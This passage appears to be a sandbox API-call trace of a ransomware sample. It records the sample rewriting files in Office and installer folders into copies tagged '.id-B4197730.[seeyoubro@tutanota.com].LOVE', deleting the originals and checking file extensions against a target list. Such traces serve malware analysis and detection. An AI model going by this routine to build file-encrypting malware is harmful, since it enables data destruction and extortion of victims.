lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.946] SetEndOfFile (hFile=0x380) returned 1 [0221.946] CloseHandle (hObject=0x380) returned 1 [0221.946] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.946] SetEndOfFile (hFile=0x36c) returned 1 [0221.947] CloseHandle (hObject=0x36c) returned 1 [0221.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0221.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0221.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0221.949] lstrlenW (lpString=".doc") returned 4 [0221.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.949] lstrlenW (lpString=".docx") returned 5 [0221.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.949] lstrlenW (lpString=".pdf") returned 4 [0221.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.949] lstrlenW (lpString=".xls") returned 4 [0221.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.949] lstrlenW (lpString=".xlsx") returned 5 [0221.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.949] lstrlenW (lpString=".ppt") returned 4 [0221.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0221.949] lstrlenW (lpString=".zip") returned 4 [0221.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.949] lstrlenW (lpString=".rar") returned 4 [0221.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.949] lstrlenW (lpString=".bz2") returned 4 [0221.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.949] lstrlenW (lpString=".7z") returned 3 [0221.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0221.949] lstrlenW (lpString=".dbf") returned 4 [0221.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0221.950] lstrlenW (lpString=".1cd") returned 4 [0221.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0221.950] lstrlenW (lpString=".jpg") returned 4 [0221.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.955] GetLastError () returned 0x0 [0221.955] ReadFile (in: hFile=0x384, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2b8, lpOverlapped=0x0) returned 1 [0221.956] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2c0, lpOverlapped=0x0) returned 1 [0221.957] ReadFile (in: hFile=0x384, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.957] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.957] SetEndOfFile (hFile=0x33c) returned 1 [0221.957] CloseHandle (hObject=0x33c) returned 1 [0221.958] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.958] SetEndOfFile (hFile=0x384) returned 1 [0221.958] CloseHandle (hObject=0x384) returned 1 [0221.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0221.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0221.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0221.959] lstrlenW (lpString=".doc") returned 4 [0221.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.959] lstrlenW (lpString=".docx") returned 5 [0221.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.959] lstrlenW (lpString=".pdf") returned 4 [0221.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString=".xls") returned 4 [0221.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.960] lstrlenW (lpString=".xlsx") returned 5 [0221.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.960] lstrlenW (lpString=".ppt") returned 4 [0221.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0221.960] lstrlenW (lpString=".zip") returned 4 [0221.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.960] lstrlenW (lpString=".rar") returned 4 [0221.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString=".bz2") returned 4 [0221.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString=".7z") returned 3 [0221.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0221.960] lstrlenW (lpString=".dbf") returned 4 [0221.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0221.960] lstrlenW (lpString=".1cd") returned 4 [0221.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0221.960] lstrlenW (lpString=".jpg") returned 4 [0221.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.961] GetLastError () returned 0x0 [0221.961] ReadFile (in: hFile=0x384, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x788, lpOverlapped=0x0) returned 1 [0222.069] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x790, lpOverlapped=0x0) returned 1 [0222.536] ReadFile (in: hFile=0x384, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0222.536] WriteFile (in: hFile=0x33c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0222.536] SetEndOfFile (hFile=0x33c) returned 1 [0222.942] CloseHandle (hObject=0x33c) returned 1 [0222.942] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0222.942] SetEndOfFile (hFile=0x384) returned 1 [0222.942] CloseHandle (hObject=0x384) returned 1 [0222.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0222.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0222.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0222.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0222.943] lstrlenW (lpString=".doc") returned 4 [0222.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.943] lstrlenW (lpString=".docx") returned 5 [0222.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.943] lstrlenW (lpString=".pdf") returned 4 [0222.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.943] lstrlenW (lpString=".xls") returned 4 [0222.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.943] lstrlenW (lpString=".xlsx") returned 5 [0222.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.943] lstrlenW (lpString=".ppt") returned 4 [0222.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0222.943] lstrlenW (lpString=".zip") returned 4 [0222.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.943] lstrlenW (lpString=".rar") returned 4 [0222.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.943] lstrlenW (lpString=".bz2") returned 4 [0222.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.944] lstrlenW (lpString=".7z") returned 3 [0222.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0222.944] lstrlenW (lpString=".dbf") returned 4 [0222.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0222.944] lstrlenW (lpString=".1cd") returned 4 [0222.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0222.944] lstrlenW (lpString=".jpg") returned 4 [0222.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.944] GetLastError () returned 0x0 [0222.944] ReadFile (hFile=0x384, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0) Thread: id = 16 os_tid = 0x7fc [0194.564] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x865c28 [0194.564] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x875c30 [0194.565] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edff0 [0194.565] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec3d0 [0194.565] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee008 [0194.565] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3b48020 [0194.567] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee020 [0194.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee020, Size=0x20) returned 0x7e0520 [0194.567] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee020 [0194.567] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee020, Size=0x20) returned 0x7e0660 [0194.567] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.567] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.567] Wow64DisableWow64FsRedirection (in: OldValue=0x2d9ff50 | out: OldValue=0x2d9ff50*=0x0) returned 1 [0194.567] lstrlenW (lpString="kernel32.dll") returned 12 [0194.568] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0520 | out: hHeap=0x790000) returned 1 [0194.568] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.568] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0660 | out: hHeap=0x790000) returned 1 [0194.568] Sleep (dwMilliseconds=0x64) [0194.786] Sleep (dwMilliseconds=0x64) [0195.091] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0195.091] lstrlenW (lpString="eula.rtf") returned 8 [0195.091] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0195.208] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3726) returned 1 [0195.208] CloseHandle (hObject=0x2d4) returned 1 [0195.353] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0195.353] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.353] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0195.354] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.354] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.354] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0195.354] GetLastError () returned 0x0 [0195.354] ReadFile (in: hFile=0x2d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xe8e, lpOverlapped=0x0) returned 1 [0196.142] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe90, lpOverlapped=0x0) returned 1 [0196.143] ReadFile (in: hFile=0x2d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.143] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe4, lpOverlapped=0x0) returned 1 [0196.143] SetEndOfFile (hFile=0x2f0) returned 1 [0196.144] CloseHandle (hObject=0x2f0) returned 1 [0196.144] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.144] SetEndOfFile (hFile=0x2d4) returned 1 [0196.145] CloseHandle (hObject=0x2d4) returned 1 [0196.146] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.146] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0196.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.146] lstrlenW (lpString=".doc") returned 4 [0196.146] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.146] lstrlenW (lpString=".docx") returned 5 [0196.146] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.146] lstrlenW (lpString=".pdf") returned 4 [0196.146] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.146] lstrlenW (lpString=".xls") returned 4 [0196.146] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.147] lstrlenW (lpString=".xlsx") returned 5 [0196.147] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.147] lstrlenW (lpString=".ppt") returned 4 [0196.147] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.147] lstrlenW (lpString=".zip") returned 4 [0196.147] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.147] lstrlenW (lpString=".rar") returned 4 [0196.147] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.147] lstrlenW (lpString=".bz2") returned 4 [0196.147] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.147] lstrlenW (lpString=".7z") returned 3 [0196.147] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.147] lstrlenW (lpString=".dbf") returned 4 [0196.147] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.147] lstrlenW (lpString=".1cd") returned 4 [0196.147] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.147] lstrlenW (lpString=".jpg") returned 4 [0196.147] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.147] lstrlenW (lpString=".doc") returned 4 [0196.147] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0196.147] lstrlenW (lpString=".docx") returned 5 [0196.147] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0196.147] lstrlenW (lpString=".pdf") returned 4 [0196.147] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0196.148] lstrlenW (lpString=".xls") returned 4 [0196.148] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0196.148] lstrlenW (lpString=".xlsx") returned 5 [0196.148] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0196.148] lstrlenW (lpString=".ppt") returned 4 [0196.148] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0196.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.148] lstrlenW (lpString=".zip") returned 4 [0196.148] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0196.148] lstrlenW (lpString=".rar") returned 4 [0196.148] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0196.148] lstrlenW (lpString=".bz2") returned 4 [0196.148] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0196.148] lstrlenW (lpString=".7z") returned 3 [0196.148] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0196.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.148] lstrlenW (lpString=".dbf") returned 4 [0196.148] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0196.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.148] lstrlenW (lpString=".1cd") returned 4 [0196.148] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0196.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0196.148] lstrlenW (lpString=".jpg") returned 4 [0196.148] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0196.148] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.148] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.148] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0196.157] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=72076) returned 1 [0196.157] CloseHandle (hObject=0x2d4) returned 1 [0196.157] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0196.157] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0196.158] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.158] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.158] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0196.158] GetLastError () returned 0x0 [0196.158] ReadFile (in: hFile=0x2d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1198c, lpOverlapped=0x0) returned 1 [0196.177] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x11990, lpOverlapped=0x0) returned 1 [0196.178] ReadFile (in: hFile=0x2d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.178] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.178] SetEndOfFile (hFile=0x2f0) returned 1 [0196.178] CloseHandle (hObject=0x2f0) returned 1 [0196.180] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.180] SetEndOfFile (hFile=0x2d4) returned 1 [0196.181] CloseHandle (hObject=0x2d4) returned 1 [0196.181] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.182] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0196.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.182] lstrlenW (lpString=".doc") returned 4 [0196.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.182] lstrlenW (lpString=".docx") returned 5 [0196.182] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.182] lstrlenW (lpString=".pdf") returned 4 [0196.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.182] lstrlenW (lpString=".xls") returned 4 [0196.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.182] lstrlenW (lpString=".xlsx") returned 5 [0196.182] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.182] lstrlenW (lpString=".ppt") returned 4 [0196.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0196.182] lstrlenW (lpString=".zip") returned 4 [0196.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.183] lstrlenW (lpString=".rar") returned 4 